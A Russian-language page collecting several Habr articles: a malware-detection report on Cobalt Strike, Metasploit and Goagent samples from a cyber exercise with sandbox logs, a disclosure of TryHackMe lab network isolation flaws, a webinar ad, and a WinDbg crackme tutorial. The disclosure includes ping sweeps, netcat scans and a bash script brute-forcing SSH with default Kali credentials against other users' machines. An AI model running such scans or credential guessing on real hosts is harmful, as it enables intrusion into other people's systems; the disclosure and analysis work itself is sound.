Рисунок 12. Шеллкод, на который передается управление кода, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 12. Шеллкод, на который передается управление кода, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 13. Фрагменты строк Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 13. Фрагменты строк Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 14. Фрагмент кода загрузчика Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 14. Фрагмент кода загрузчика Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042

С цепочкой заражения разобрались. Теперь давайте посмотрим, как это обнаружил PT Sandbox.

На этапе статического анализа офисного документа был выявлен макрос. Кроме того, детектирован автозапуск макроса в момент открытия документа:

Рисунок 15. Статический детект YARA-правилами офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 15. Статический детект YARA-правилами офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

В результате запуска образца в изолированной среде обнаружен запуск подпроцесса в офисном приложении, а также произошло срабатывание правила на записанный сетевой трафик.

{"count": 1,"process.id": "3176","process.name": "program files\\microsoft office\\office14\\winword.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621437055.497087","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "ET INFO PowerShell DownloadString Command Common In Powershell Stagers","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

Metasploit

Пятую часть от всех обнаруженных инструментов атакующих представляет нестареющая классика промежуточные загрузчики, или стейджеры, пентестерского фреймворка Metasploit. Данные стейджеры рассматривались многократно различными исследователями, поэтому проведем поверхностный анализ на примере одного из образцов с не менее классическим именем lolkekpohek.exe.

SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Это исполняемый файл, выдающий себя за серверную часть популярного веб-приложения Apache Server:

  Verified:UnsignedLink date:12:40 03.04.2009Publisher:n/aCompany:Apache Software FoundationDescription:ApacheBench command line utilityProduct:Apache HTTP ServerProd version:2.2.14File version:2.2.14MachineType:32-bit

При этом точка входа PE-файла приводит нас вовсе не к легитимному коду HTTP-сервера, а к набору мусорных, ничего не значащих инструкций, заканчивающихся прыжком на область кода чуть ниже:

Рисунок 17. Фрагмент кода около точки входа PE-файла, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 17. Фрагмент кода около точки входа PE-файла, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Начиная с этого момента, нас ждет много безусловных переходов. Чтобы не запутаться в коде, продолжим анализ с помощью отладчика. Пройдя по коду чуть дальше, отметим вызов функции с последующим прыжком:

Рисунок 18. Вызов функции с последующим безусловным переходом, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 18. Вызов функции с последующим безусловным переходом, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Чуть дальше мы видим, как происходит извлечение адреса возврата из стека, подготовка параметров и передача управления кода на извлеченный адрес:

Рисунок 19. Передача управления по адресу, извлеченного из стека, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 19. Передача управления по адресу, извлеченного из стека, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Далее нас ждет работа с PEB исполняемого файла: поиск нужной API функции с перебором загруженных модулей (библиотек) в адресное пространство. Сравнения при поиске происходят не напрямую: от строки имени функции вычисляется простейшая хеш-сумма на базе циклического побитового сдвига. Затем происходит сравнение результата вычисления с предварительно заданным значением. Если значения совпадают нужная функция найдена, и происходит ее вызов. В данном случае будет найдена и вызвана функция выделения памяти: VirtualAlloc.

Рисунок 20. Вызов WinAPI-функции VirtualAlloc, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 20. Вызов WinAPI-функции VirtualAlloc, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Чуть позже в полученную область памяти будет скопирован фрагмент кода, который затем получит управление кода. Это фрагмент и представляет собой промежуточный загрузчик фреймворка Metasploit, который соединится с управляющим сервером для получения полезной нагрузки.

Рисунок 21. Вызов WinAPI-функции connect, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 21. Вызов WinAPI-функции connect, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

А что с обнаружением? При статическом анализе образца был обнаружен разобранный выше стейджер фреймворка Metasploit.

Рисунок 22. Статический детект YARA-правилом стейджера, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 22. Статический детект YARA-правилом стейджера, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

В результате поведенческого анализа зарегистрировано вредоносное соединение с управляющим сервером:

Рисунок 23. Поведенческий детект стейджера в песочнице, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 23. Поведенческий детект стейджера в песочнице, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4
{"count": 1,"process.id": "3176","process.name": "users\\john\\desktop\\lolkekpohek.exe","detect.name": "Backdoor.Win32.Generic.a","unixtime": "1621417537.223409","_rule": "Backdoor.Win32.Generic.a","s_msg": "SHELL [PTsecurity] Metasploit Mettle TCP session opened: AES key exchange","correlation_name": "Backdoor.Win32.Generic.a","detect.type": "malware"}

Полезная нагрузка представляет собой инструмент Mettle, это некий аналог хорошо известного бэкдора Meterpreter.

Goagent

Мы, честно говоря, обрадовались, увидев использование этого инструмента для удаленного управления компьютером вновь. Не будем повторяться, рассказывая о возможностях бэкдора, написанного на языке Go, в некоторых случаях также упакованного UPX с испорченными именами секций, об этом вы можете подробнее почитать в нашем осеннем разборе противостояния. Вместо этого расскажем о цепочке атаки, которая имела место быть в этот раз.

21 мая в полночь пришло письмо с фишинговой ссылкой и вложением, представляющим собой офисный документ, якобы резюме:

myCV (2).doc

Рисунок 24. Фишинговое письмо с вредоносным вложением, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 24. Фишинговое письмо с вредоносным вложением, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0

Офисный документ содержит VBA-макрос. В результате исполнения будет запущен подпроцесс PowerShell, который загрузит и запустит исполняемый файл по ссылке. Отметим пару интересных моментов:

  1. Загруженная полезная нагрузка будет размещена в каталоге планировщика задач с именем, похожим на легитимный процесс в системе svchost.exe (атакующие убрали букву c в имени файла).

  2. Имя домена управляющего сервера позволяет провести атрибуцию образца с одной из команд участниц соревнования.

    Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0
Рисунок 26. Фрагмент строк полезной нагрузки с адресом управляющего сервера, SHA256: 0c4c4bf3caae1db3f39aeb0b39bc3c7915aaf90651362630f56b43661c5d6748Рисунок 26. Фрагмент строк полезной нагрузки с адресом управляющего сервера, SHA256: 0c4c4bf3caae1db3f39aeb0b39bc3c7915aaf90651362630f56b43661c5d6748

Что касается обнаружения в PT Sandbox: при статическом анализе вновь обнаруживается вредоносный код в макросе офисного документа:

Рисунок 27. Статический детект YARA-правилами офисного документа, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 27. Статический детект YARA-правилами офисного документа, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 28. Поведенческий детект офисного документа и полезной нагрузки Goagent, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 28. Поведенческий детект офисного документа и полезной нагрузки Goagent, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0
{"count": 1,"process.id": "1848","process.name": "windows\\tasks\\svhost.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621546131.952323","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "REMOTE [PTsecurity] Goagent","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

А что еще?

Следующие образцы встречались в меньшем количестве, но от этого они не становятся менее значимыми. Давайте бегло посмотрим, а что мы поймали еще?

beRoot.pdf

SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

19 мая в 11:43 в сетевом трафике был перехвачен файл с расширением .pdf. На самом деле это исполняемый PE-файл. В результате запуска в песочнице было обнаружено обобщенное вредоносное поведение.

Рисунок 29. Результат поведенческого анализа beRoot.pdf, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7Рисунок 29. Результат поведенческого анализа beRoot.pdf, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

Впрочем, фрагменты видеозаписи могут служить подсказкой для дальнейшего анализа:

Рисунок 30. Фрагмент видеозаписи поведенческого анализа, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7Рисунок 30. Фрагмент видеозаписи поведенческого анализа, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

Чуть более глубокий анализ подсказал, что образец представляет собой скомпилированную программу на языке Python с применением утилиты PyInstaller. А сама программа инструмент BeRoot, позволяющий искать недочеты в системе для подсказки, каким образом можно повысить привилегии пользователя. Впрочем, название инструмента уже содержалось в имени перехваченного образца.

Password Changing Procedure.docx

SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5

Рисунок 31. Злоупотребление механизмом DDE для запуска вредоносного кода, SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5Рисунок 31. Злоупотребление механизмом DDE для запуска вредоносного кода, SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5Рисунок 32. Загружаемый скрипт PowerShell, SHA256: 513d0a5fdaae239b6fed6e68c84110b03b18b49979f9b7d45d6f7a177ba5e634Рисунок 32. Загружаемый скрипт PowerShell, SHA256: 513d0a5fdaae239b6fed6e68c84110b03b18b49979f9b7d45d6f7a177ba5e634

Поиск в интернете по фрагментам строк приводит к проекту unicorn (не путать с известным эмулятором бинарного кода), который предназначен для внедрения шеллкода с использованием PowerShell: в частности, промежуточного загрузчика фреймворков Cobalt Strike и Metasploit, рассмотренных ранее.

winPEASx64.exe

SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Рисунок 33. Обнаруженный эксплойт повышения привилегий, SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9dbРисунок 33. Обнаруженный эксплойт повышения привилегий, SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Это утилита WinPEAS инструмент ищет в системе векторы для локального повышения привилегий пользователя в системе. В некотором смысле схож с ранее рассмотренным BeRoot.

SharpHound.exe

SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

Рисунок 34. Фрагмент строк в исполняемом файле, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 34. Фрагмент строк в исполняемом файле, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 35. Статический детект SharpHound в PT Sandbox, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 35. Статический детект SharpHound в PT Sandbox, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

/dirty

SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

Если есть разведка и поиск способов повысить привилегии должны быть инструменты, позволяющие этим воспользоваться. 20 мая в 13:06 в сетевом трафике перехвачен исполняемый файл под платформу Linux, который представляет собой эксплойт для уязвимости CVE-2016-5195 в ядре Linux, известной также как Dirty COW.

Рисунок 36. Фрагмент строк из эксплойта CVE-2016-5195, SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83fРисунок 36. Фрагмент строк из эксплойта CVE-2016-5195, SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

CVE-2018-8120.exe

SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

Еще один эксплойт, полученный из сетевого трафика 21 мая в 11:34. Несложно догадаться и по его названию, что это повышение привилегий в системе Windows с использованием уязвимости CVE-2018-8120 в графической подсистеме.

Рисунок 37. Фрагмент строк из эксплойта CVE-2018-8120, SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53cРисунок 37. Фрагмент строк из эксплойта CVE-2018-8120, SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

BitsArbitraryFileMoveExploit.exe

SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

И напоследок пример еще одного обнаруженного эксплойта. 21 мая в 11:26 все так же, из сетевого трафика, извлечен исполняемый файл, использующий на этот раз уязвимость CVE-2020-0787 в сервисе Windows Background Intelligent Transfer Service (BITS).

Рисунок. 38. Фрагмент строк из эксплойта CVE-2020-0787, SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610Рисунок. 38. Фрагмент строк из эксплойта CVE-2020-0787, SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

Кстати, недавно на одном из наших вебинаров мы обсуждали приемы обнаружения эксплойтов повышения привилегий в общем случае рекомендуем ознакомиться, если не видели.

Заключение

В качестве итога приведем диаграмму, которая отражает статистику распределения детектов при использовании нескольких технологий защиты.

Рисунок 39. Распределение детектов между технологиями обнаружения вредоносного ПОРисунок 39. Распределение детектов между технологиями обнаружения вредоносного ПО

В сравнении с предыдущим соревнованием мы видим, что наша внутренняя экспертиза в продукте расширила горизонт покрытия определяемого ВПО. Мы продолжаем развивать наши технологии обнаружения вредоносного ПО и держать руку на пульсе современных актуальных угроз.

Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies

Подробнее..

Hack Me на TryHackMe, или Небезопасное изучение инфобеза на известной платформе

15.06.2021 16:19:06 | Автор: admin

Привет, Хабрчане. Сегодня мы поговорим об одной проблеме, которую обнаружил мой хороший знакомый Иван Глинкин.

Это очень серьезный косяк с безопасностью платформы для обучения пентесту TryHackMe. Заключается он в том, что виртуальные стенды видят абсолютно все в сети, и их можно использовать для атаки на пользователей сервиса.

Написать эту статью меня подтолкнули 3 причины:

  1. Прошло уже более двух недель, а воз и ныне там. Никаких действий со стороны платформы TryHackMe не последовало;

  2. Платформа ответила только хамством, а затем забанила аккаунт Ивана (об этом далее);

  3. Автору оригинала очень лень переписывать статью на русском языке.

DSCLAIMER

Эта уязвимость была изначально найдена не мной, но я получил у автора оригинала разрешение на использование материалов оригинальной статьи и публикацию на русском языке. И уже я перепроверял, что конь всё ещё не валялся в системе инфобеза платформы TryHackMe, и использовать ее, мягко говоря, не очень безопасно. Ссылка на оригинальную статью.

Завязка сюжета

Есть много разных платформ для обучения инфобезу. И коль скоро эти платформы затрагивают такой важный в IT-отрасли сегмент, то неплохо было бы им самим соответствовать. Так мы думаем, когда заходим на них.

Однако, как показала практика, тут тоже работает славный принцип х*як, х*як, и в продакшн.

Когда мы подключаемся по VPN к платформе, мы не можем взаимодействовать с другими хостами в сети, кроме самих виртуальных машин для взлома. Верно? Верно!

Ну, а что по поводу самих виртуальных стендов? Они-то, наверное, тоже не могут взаимодействовать с кем попало?

А вот и нет! Виртуальный стенд, как оказалось, видит всех и вся в сети.

В качестве тестовой точки я выбрал виртуалку Basic Pentesting.

В роли атакующего у нас ...В роли атакующего у нас ...

Быстренько получив пользователя kay по сюжету виртуалки, начнем проверять, как же TryHackMe решила проблему с тем, что виртуалка может взаимодействовать с абсолютно всеми пользователями. Проверяем свою же подсеть. В моем случае это была 10.9.5.0

for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done
Ищем живых соседейИщем живых соседей

Жизнь есть. Так, а другие подсети видим? Ну, например, 10.9.4.0

Ищем ещеИщем еще

Видим ...

Так, отставить панику! Это же еще ничего не доказывает и не значит, что я смогу подключиться по SSH или проверить, есть ли там поднятый Apache.

Сводим все живые IP адреса в вордлист и пробегаем их nc по 80 порту, благо nc заботливо установлен админами платформы.

for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done
Ищем открытый 80 портИщем открытый 80 порт

А вот и первые претенденты. CURLлуем 10.9.4.252 и видим там типичный листинг директории www человека, который решает виртуалки:

Уверен, что у многих директория веб-сервера на Kali выглядит примерно такжеУверен, что у многих директория веб-сервера на Kali выглядит примерно также

Кульминация

А вот давайте и проверим, че там по SSH. Тут тоже применим немножко автоматизации. Закидываем на стенд sshpass, благо и curl, и wget уже заботливо установлены админами платформы заранее. Как говорится, всё для вас, даже вода из-под крана.

Опа! Не ставится.

Прав нет. А если найду?Прав нет. А если найду?

Ну root-то точно на стенде закрыт! Для итогового выполнения упражнения стенда root не нужен, а, стало быть, и у пользователя kay не должно быть прав на sudo. Верно же?

Ну, тут даже без комментариев Ну, тут даже без комментариев

Устанавливаем sshpass и колдуем легкий скрипт в bash для перебора:

#!/bin/bashfor ip in {2..255}do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1)if [ ! -z $ip_check ]thenecho -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m";nc -vz -w 2 $ip_check 22 > log.txt 2>&1;ssh_refused=$(grep -o "refused" log.txt)ssh_timeout=$(grep -o "timed" log.txt)if [ ! -z $ssh_refused ]thenecho -e "\e[01;31mSSH is closed. Going further. \e[00m";echo " ";elif [ ! -z $ssh_timeout ]thenecho -e "\e[01;31mSSH doesn't respond. Going further. \e[00m";echo " ";elseecho -e "\e[01;32mSSH is open. Trying to connect... \e[00m";sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check;sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check;sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check;echo " ";fifidonerm log.txt;echo -e "\e[01;32mEnumeration has been finished! \e[00m";

Развязка

Проверять будем 3 самые основные связки логин/пароль для Kali и Parrot OS:

  • kali:kali

  • root:toor

  • user:toor

ПОЕХАЛИ!ПОЕХАЛИ!

А вот и первый БЕЗОПАСНИК с дефолтными логином и паролем. И сразу натыкаемся на ovpn файл для доступа к TryHackMe. Если у человека оплачен VIP, то мы только что сэкономили на подписке

Привет привет ovpn файлПривет привет ovpn файл

Пробуем sudo

Ну как бы вот ...Ну как бы вот ...

Эпилог

Какие из всего этого следуют практические выводы?

Ну, самый очевидный: система инфобеза TryHackMe полное **** нужно менять дефолтные пароли на своих Kali и Parrot OS на более безопасные. Обезопасит ли это в полной мере вас при вот таком вот уровне защиты сети на платформе TryHackMe? Определённо нет.

Думаю, мне не стоит тут перечислять, что, помимо простого брутфорса SSH, существует еще куча методов получить доступ к вашей системе. А дальше можете выбрать, что злоумышленник захочет:

  1. Включить вашу рабочую машину в ботнет;

  2. Покопаться во внутрикорпоративной сети компании и вашей личной инфе;

  3. Провести атаки на другие ресурсы с использованием вашей пентест-машины и из-под вашего IP;

  4. Помайнить криптовалюты на вашем оборудовании (а почему бы, собственно, и нет?);

  5. Всё, что пришло вам в голову к этому моменту

А также не забываем, что после перезагрузки стенда вся информация с него удаляется, в том числе и логи. Можно, конечно, уповать на то, что у TryHackMe всё обязательно логируется и записывается, особенно все действия пользователя на виртуалках, но что-то мне мало верится в реальность этого варианта.

Особенно меня порадовала реакция платформы TryHackMe на багрепорт всей этой ситуации.

Первичный отчет был направлен в TryHackMe 2 мая 2021. Оригинальная статья вышла 25 мая 2021. Вместо того, чтобы заняться решением этой проблемы, руководство платформы TryHackMe прислало письмо, в котором просто решило прикрыться пунктом 9 правил пользования платформой.

TryHackMe на полном серьёзе считает, что всё у них нормально, и что вместо принятия технических мер можно ограничиться вот этой вот писулькой в правилах пользования платформой. Она как-то сможет оградить пользователей от реальных злоумышленников?

Ну и вишенка на торте:

Бан аккаунта. Отличная работа, TryHackMe. Вместо решения проблемы вы просто забанили человека, который указал вам на косяк в системе инфобеза

Решайте сами, стоит ли пользоваться вот такими образовательными порталами, которые спокойно позволяют взламывать своих пользователей.

Лично моё мнение: в случае реальной атаки на вас платформа просто открестится от ответственности всё тем же замечательным пунктом 9 своего соглашения.

Ну а что? Это же не платформа положила болт на защиту пользователей, а злоумышленник, наплевав на все писульки TryHackMe, просто взял и использовал ваш Kali для противоправных действий в адрес третьих лиц.

Подробнее..

Google-like система поиска уязвимостей IT Security Search анонс вебинара

15.06.2021 16:19:06 | Автор: admin
image

IT Security Search это похожая на Google поисковая система для ИТ, которая позволяет ИТ-администраторам и командам безопасности быстро реагировать на инциденты безопасности и анализировать поступающие события. Веб-интерфейс инструмента объединяет разрозненные ИТ-данные из многих решений Quest по обеспечению безопасности и соответствия требованиям в единую консоль. Решения Quest, в свою очередь, могут являться надежным поставщиком отфильтрованных данных в различные SIEM-системы и даже помогут снизить стоимость владения ими.

Приглашаем вас зарегистрироваться на вебинар, который состоится 16 июня в 11 часов по московскому времени. Вы узнаете о функционале решения, решаемых задачах, интеграциях и лицензировании. Под катом кратко о возможностях IT Security Search. Даже если вы оставите данные после вебинара, мы вышлем вам ссылку.

Инструмент интегрируется с другими решениями Quest: Change Auditor, InTrust, Recovery Manager и Enterprise Reporter. По поступающим оттуда данным и ведется полнотекстовый поиск.

В IT Security Search можно ввести имя пользователя, рабочей станции, тип события или всё что угодно и обнаружить связанные по этому признаку события или конфигурации. При формировании запросов можно использовать логические выражения. Из результатов запроса удобно строить отчёты и направлять их заинтересованным лицам по расписанию.

image

Из интерфейса IT Security Search можно также делать откат по изменениям в AD. То есть, например, можно восстановить удаленного по ошибке пользователя со всеми его атрибутами. Это реализуется при помощи интеграции с ещё одним продуктом Quest Recovery Manager for Active Directory.

Если вы бы хотели попробовать решения Quest на вашей инфраструктуре или получить больше информации о продуктах, оставьте заявку заявку в форме обратной связи на нашем сайте или свяжитесь другим удобным способом.

Ссылки на наши предыдущие статьи

Групповые политики (GPO) Active Directory: разбираемся почему это важно и как ими управлять в GPOAdmin

Как администратору Microsoft Teams обезопасить себя и того парня

Что полезного можно вытащить из логов рабочей станции на базе ОС Windows

Управление доступом и формирование отчётов безопасности для окружения Microsoft в Quest Enterprise Reporter

Сравним инструменты для аудита изменений в Active Directory: Quest Change Auditor и Netwrix Auditor

Sysmon теперь может записывать содержимое буфера обмена

Включаем сбор событий о запуске подозрительных процессов в Windows и выявляем угрозы при помощи Quest InTrust

Как InTrust может помочь снизить частоту неудачных попыток авторизаций через RDP

Как снизить стоимость владения SIEM-системой и зачем нужен Central Log Management (CLM)

Выявляем атаку вируса-шифровальщика, получаем доступ к контроллеру домена и пробуем противостоять этим атакам

Подписывайтесь

Группа в Facebook

Канал в Youtube
Подробнее..

Использование Windbg для обратной разработки

16.06.2021 00:20:01 | Автор: admin

Статья представляет собой мануал по тому как пользоваться Windbg. Будет рассмотрена "классическая" версия отладчика. Настроим внешний вид и изучим команды, которые можно использовать для исследования приложения.

Установка

Установка возможна только при использовании Windows SDK. Версию для Windows 10 можно найти здесь. Для работы с отладчиком необходимо запустить процесс установки SDK и выбрать только опции с набором инструментов для отладки. Пример выбора представлен на снимке ниже.

После установки набора инструментов, можно найти все файлы в директории "Windows Kits". Отладчик устанавливается сразу для нескольких версий процессоров. Для выполнения дальнейших команд в мануале нужно выбирать соответствую исследуемому файлу архитектуру процессора. Для исследования возьмем вот этот файл и попробуем найти ключ. Перед началом исследования файла, рекомендуется сделать дополнительную настройку:

  • Установить директорию и сервер для отладочных символов Проще всего это сделать можно через меню: File->Symbol File Path. В открывшемся меню нужно прописать вот эту строку: "SRVC:\symbolshttp://msdl.microsoft.com/download/symbols". Затем создать директорию C:\symbols;

  • Установить WorkPlace с удобной раскладкой рабочих панелей. Взять готовый Workspace можно отсюда. В итоге, если запустить для теста notepad.exe в отладчике, он будет выглядеть вот так:

Теперь можно перейти к исследованию команд. Откроем в отладчике файл и приступим.

Набор команд и анализ приложения

Полный справочник по всем командам отладчика можно найти по команде ".hh". Появится справка, как на рисунке ниже. Здесь можно вводить описание или конкретную команду.

Любой набор команд, который можно представить просто списком не имеет большой полезности, поэтому все команды, которые будут описываться в статье, будут сопровождаться примером применения. Начнем с простого.

  1. Определим откуда начинается выполнение приложения. Если не вдаваться в подробности, то самое начало работы приложения это EntryPoint из заголовка файла, однако это не совсем так. EntryPoint для современных языков программирования сегодня это начало подготовительных операций для работы всего приложения. Поэтому если необходимо найти код, который был написан программистом, нам придется еще немного попутешествовать по дизасемблированному листингу.

Первая команда - lm. Показывает список модулей, которые загружены в память процесса, по выдаче этой команды можно получить базовый адрес файла.

Главные команды, которые станут глазами и ушами при исследовании данных в оперативной памяти - d? (b,c,a,p,w,q). Команда показывает дамп памяти по указанному адресу. Можно использовать конкретный адрес или регистр. Например, можно посмотреть как выглядит часть заголовка файла в памяти:

Команда !dh разбирает файл и показывает заголовки. Нам нужен файловый заголовок, поэтому добавим флаг -f. Если необходимо показать все данные о файловых и секционных заголовках, то можно не дополнять команду.

Как видно на рисунке, данные, которые выдает команда, могут быть использваны для локализации данных внутри файла.

Локализуем точку входа с помощью суммирования базового адреса и информации из заголовка. Выполнить эту опирацию можно рядом команд: ? - выполнение выражения, uf - дизассемблирование функции, bp - установка точки останова. А теперь по порядку на примере:

Расчет адреса.

Дизассемблирование функции от адреса до ret команды.

Установка точки останова, кстати, чтобы управлять точками останова, можно менять последнюю букву команды. На рисунке показан пример установки точки останова и просмотр списка существующих точек через команду bl.

Чтобы дойти до точки останова, можно ввести команду, которая используется для выполнения алгоритма приложения - g.

Как только алгоритм загрузчика ОС выполнит все подготовительные действия мы увидим в командной строке следующие данные:

Можно приступать к поиску функции main. Сделать это достаточно просто, необходимо локализовать константы из интерфейса файла, когда выполняется приветствие и запрос данных:

Для поиска данных будем использовать команду s. Эта команда проводит поиск по определенному в команде объему данных. Соответственно чтобы получить данные о местоположении приглашения к вводу ключа, нужно указать всё адресное пространство исследуемого приложения. Так же необходимо указать тип данных, которые нужно искать.

Теперь, когда мы знаем адрес данных, которые используются, мы можем поставить точку останова, которая будет следить за доступом к данным. Сделать это можно с помощью команды ba. Для такой точки останова нужно указывать размер данных за которыми отладчик будет наблюдать, а там же адрес и тип доступа. Адрес должен быть выровнен по границе в 4 байта. После становки снова нужно запустить приложение через команду g. На рисунке ниже показан вариант команды:

Когда сработает точка останова, нужно найти часть алгоритма приложения, которая печатает приветствие на экран. Для этого удобно использовать стек вызовов функций. Для этого можно выполнить команду k.

Из рисунка видно, что копирование строки для работы с ней выполняется библиотечной функцией, а её вызов был сделан из "For_Crackme+0x15f2".

2. Локализуем функцию проверки ключа. Функция проверки будет недалеко от предложения ввести данные пользователя. В прошлом этапе мы нашли смещение внутри функции до этой операции. Введем можифицированную команду uf - u для того чтобы посмотреть несколько команд после адреса "For_Crackme+0x15f":

Фрагмент кода не содержит дополнительных отладочных символов, поэтому просто просмотрим данные рядом:

  • offset For_Crackme+0x40a2

  • offset For_Crackme+0x40bb

Чтобы это сделать, используем команду db:

Похоже, что функция подготавливает данные для выдачи информации пользователю. Значит проверка ключа должна быть где-то рядом. Обратим внимание на 2 константы, которые помещаются в память через следующие команды:

...00401612 c744241c30372f31 mov     dword ptr [esp+1Ch],312F3730h0040161a c7442420302f3937 mov     dword ptr [esp+20h],37392F30h...

Если раскодировать константы, то мы получим вот такое значение: "07/10/97". Выполнить раскодирование может помочь команда .formats 312F3730h. Из списка форматов нас интересует Char или символьное представление. Стоит помнить, что данные в памяти хранятся в LittleEndian формате, поэтому если прочитать наоборот, то получатся данные необходимые для прохождения валидации.

Таким образом можно анализировать приложения с использованием Windbg и не прибегать к дополнительному инструментарию.


Статья написана в преддверии старта курса "Reverse-Engineering. Professional". Напоминаем о том, что завтра пройдет второй день бесплатного интенсива по теме "Пишем дампер процессов". Записаться на интенсив можно по ссылке ниже:

Подробнее..

Интеграция SAML в Zimbra OSE

16.06.2021 14:10:53 | Автор: admin
